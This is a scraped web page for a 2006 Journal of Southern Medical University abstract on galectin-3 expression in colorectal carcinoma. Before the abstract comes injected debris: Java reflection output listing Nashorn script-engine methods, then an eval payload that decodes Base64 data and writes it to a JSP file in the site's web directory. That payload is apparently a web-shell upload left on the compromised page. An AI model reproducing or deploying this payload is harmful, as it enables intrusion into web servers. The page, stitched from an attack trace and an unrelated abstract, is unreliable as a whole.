public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (12): 1685-1689.

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Association of galectin-3 expression with biological behaviors of human colorectal carcinoma

ZHANG Nan,DING Yan-qing,LIANG Li Department of Pathology,Southern Medical University,Guangzhou 510515,Chain   

  1. 南方医科大学病理学教研室； 南方医科大学病理学教研室 广东广州510515； 广东广州510515；
  • Online:2006-12-20 Published:2006-12-20

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Abstract: Objective To investigate the association between galectin-3 expression and biological behaviors of human colorectal carcinoma.Methods SP immunohistochemistry was used to detect the expression of galectin-3 in 158 cases of paraffin-embedded specimens(including 30 normal mucosa,25 adenoma,65 carcinoma and 38 metastatic tumor speciemns).Real-time RT-PCR was performed to detect galectin-3 mRNA expression in 31 pairs of fresh carcinoma and corresponding adjacent normal mucosa specimens.Results The expression levels of galectin-3 was significantly different between normal mucosa and adenoma tissues(P<0.001),and moderately or well differentiated colorectal carcinomas showed significantly lower expression of the galectin-3 than the poorly differentiated carcinomas(P=0.03).Invasive carcinomas exhibited higher galectin-3 expression levels than non-invasive ones(P<0.001),and galectin-3 expression in the colorectal carcinomas was significantly related with the lymph node metastasis(P<0.001).Galectin-3 mRNA expression in poorly differentiated colorectal carcinomas was about 1.98 times that in moderately or well differentiated colorectal carcinomas(P=0.03),and in invasive carcinomas,galectin-3 mRNA expression was 1.67 times higher than that in non-invasive ones(P<0.001).Galectin-3 mRNA expression in tumors with lymph node metastasis was 1.91 times that in non-metastatic tumors(P=0.013).Conclusion Galectin-3 expression is positively correlated with and invasion,poor differentiation and metastasis of colorectal carcinoma.

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